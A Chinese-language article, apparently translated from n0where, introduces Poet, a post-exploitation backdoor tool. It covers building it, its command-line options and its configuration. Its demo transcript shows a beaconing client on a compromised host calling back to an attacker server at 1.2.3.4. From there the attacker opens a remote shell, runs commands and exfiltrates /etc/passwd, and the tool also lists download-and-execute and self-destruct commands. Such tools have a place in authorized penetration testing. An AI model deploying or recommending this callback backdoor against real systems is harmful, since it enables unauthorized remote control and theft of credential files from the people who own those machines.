个.png

概述

客户端程序需要运行在目标系统中,并且需要配置一个IP地址以及频率来与服务器连接。如果当客户端尝试与服务器连接时服务器不在线的话,客户端会处于静默睡眠状态,并等待下一次时间间隔来尝试连接。如果服务器处于运行状态的话,攻击者就能够拿到shell,然后控制客户端并在目标主机中执行各种操作,例如:

1.      网络侦察;

2.      远程shell;

3.      文件提取;

4.      下载并执行Payload;

5.      程序自毁

工具下载

Poet:【GitHub主页

请访问该项目GitHub的releases页面,并下载最新版本的poet-client以及poet-server文件,或者你也可以按照下面的方法自己构建Poet项目。

构建代码

请确保你已经安装好了python 2.7以及zip可执行程序,然后运行下列命令:

$ git clonehttps://github.com/mossberg/poet $ cd poet
$ make 

运行之后将会在你的计算机中创建一个包含了poet-client和poet-server的bin/目录。

工具使用

Poet是一款使用起来非常简单的工具,它只需要Python2.7标准库即可运行。下面给出的是简单的使用样例:

终端1:

$ ./client.py -v 127.0.0.1 1

终端2:

$ sudo ./server.py

注意:默认配置下,服务器端需要以root权限(使用sudo命令)运行,因为工具默认绑定的端口为443。当然了,你也可以使用-p <PORT>命令来修改客户端和服务器端所使用的端口,建议选用大于1024的端口。

除此之外,你可以使用-h选项来查看帮助菜单:

客户端:

$ ./client.py -h
usage: client.py [-h] [-p PORT] [-v] [-d]IP INTERVAL
 
positional arguments:
 IP                    server
 INTERVAL              (s)
 
optional arguments:
  -h,--help            show this help messageand exit
  -pPORT, --port PORT
  -v,--verbose
  -d,--delete          delete client uponexecution

服务器端:

$ ./server.py -h
usage: server.py [-h] [-p PORT]
 
optional arguments:
  -h,--help            show this help messageand exit   -pPORT, --port PORT 

配置参考

common/config.py文件中包含多种配置选项:

1.      AUTH:秘密认证令牌需要在客户端与服务器端之间共享以完成客户端的身份认证,,预编译的数据包使用的是默认的公开认证令牌,建议用户自己设置一个复杂的令牌以保证通信的安全。

2.      ARCHIVE_DIR:服务器端用于存储文件(输出数据或提取的文件)的目录。

3.      SERVER_IP:服务器端的IP地址。

4.      BEACON_INTERVAL:客户端信标到达服务器端的时间间隔(秒)。

Poet使用演示

在下面这个攻击场景中,攻击者已经拿到了目标主机的访问权,并在目标系统中下载执行了客户端程序。此时,攻击者的服务器端并没有运行,但是没关系,客户端会耐心等待。最终,攻击者开启了服务器端,他首先开启了一个shell并执行了命令uname -a,然后提取出了/etc/passwd。接下来,他断开了与客户端程序的连接,而客户端将会继续在目标主机的后台中运行并等待下一次与服务器端的连接。

目标设备(5.4.3.2):

$ ./client.py -v 1.2.3.4 10 [+] Poet started with delay of 10 secondsto port 443. Ctrl-c to exit.
[!] (2014-09-06 02:07:03.058921) Server isinactive
[!] (2014-09-06 02:07:13.060840) Server isinactive
[!] (2014-09-06 02:07:23.062512) Server isinactive
[!] (2014-09-06 02:07:33.064214) Server isinactive
[+] (2014-09-06 02:07:43.066828) Server isactive
[!] (2014-09-06 02:08:50.403668) Server isinactive
[!] (2014-09-06 02:09:00.405364) Server isinactive

攻击者的设备(1.2.3.4)

# ./server.py [+] Poet server started on 443.
[i] (2014-09-06 02:07:43.066092) ConnectedBy: ('5.4.3.2', 62209)
[+] (2014-09-06 02:07:43.066531) Enteringcontrol shell
Welcome to psh, the poet shell!
Running `help' will give you a list ofsupported commands.
psh > shell
psh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic#42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64GNU/Linux psh > user@server $ ^D
psh > exfil /etc/passwd
psh : exfil written toarchive/20140906/exfil/passwd
psh > help Commands:  chint
 dlexec
 exec
 exfil
 exit
 help
 recon
 selfdestruct
 shell
psh > exit
[+] (2014-09-06 02:08:40.401181) Exitingcontrol shell.
[-] (2014-09-06 02:08:40.401328) Poetterminated.

* 参考来源:n0where, FB小编Alpha_h4ck编译